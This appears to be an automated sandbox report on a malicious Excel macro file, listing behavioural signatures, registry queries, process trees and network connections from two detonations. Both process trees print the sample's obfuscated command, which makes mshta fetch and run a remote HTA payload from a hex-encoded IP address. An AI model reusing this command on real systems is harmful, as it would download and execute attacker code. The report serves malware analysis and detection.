Malware Analysis Report

2025-03-15 07:22

Sample ID 241111-zxntmavrbs
Target 5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c
SHA256 5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c

Threat Level: Known bad

The file 5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Checks processor information in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 21:05

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 21:05

Reported

2024-11-11 21:08

Platform

win7-20240903-en

Max time kernel

120s

Max time network

123s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/1680-1-0x00000000726ED000-0x00000000726F8000-memory.dmp

memory/1680-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1680-2-0x00000000726ED000-0x00000000726F8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 21:05

Reported

2024-11-11 21:08

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

151s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3768 wrote to memory of 1952 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3768 wrote to memory of 1952 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 1952 wrote to memory of 1512 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 1952 wrote to memory of 1512 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe2.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 67.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
GB 52.109.28.47:443 roaming.officeapps.live.com tcp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 0.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 84.65.42.20.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 101.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp

Files

memory/3768-0-0x00007FF843590000-0x00007FF8435A0000-memory.dmp

memory/3768-3-0x00007FF8835AD000-0x00007FF8835AE000-memory.dmp

memory/3768-2-0x00007FF843590000-0x00007FF8435A0000-memory.dmp

memory/3768-1-0x00007FF843590000-0x00007FF8435A0000-memory.dmp

memory/3768-6-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-5-0x00007FF843590000-0x00007FF8435A0000-memory.dmp

memory/3768-7-0x00007FF843590000-0x00007FF8435A0000-memory.dmp

memory/3768-4-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-8-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-10-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-9-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-11-0x00007FF841130000-0x00007FF841140000-memory.dmp

memory/3768-12-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-15-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-14-0x00007FF841130000-0x00007FF841140000-memory.dmp

memory/3768-16-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-17-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-18-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-13-0x00007FF883510000-0x00007FF883705000-memory.dmp

memory/3768-29-0x00007FF883510000-0x00007FF883705000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 d568d37cff393066db559cbfeba70741
SHA1 99d70d0d98188f74b1192f1dbaef9ae7621a004c
SHA256 42ba83066a8d64cea88e36b1bd327cba7f90067cebad6cb0cb5322ed94f41965
SHA512 c1fa28cac65e5849c8bbf268527f83f87019a8ca33d9b23f530bd724c9f3b0d2eeabc9572791ef00c8379dfe290759759ab144637ddc4795024267d552afd88f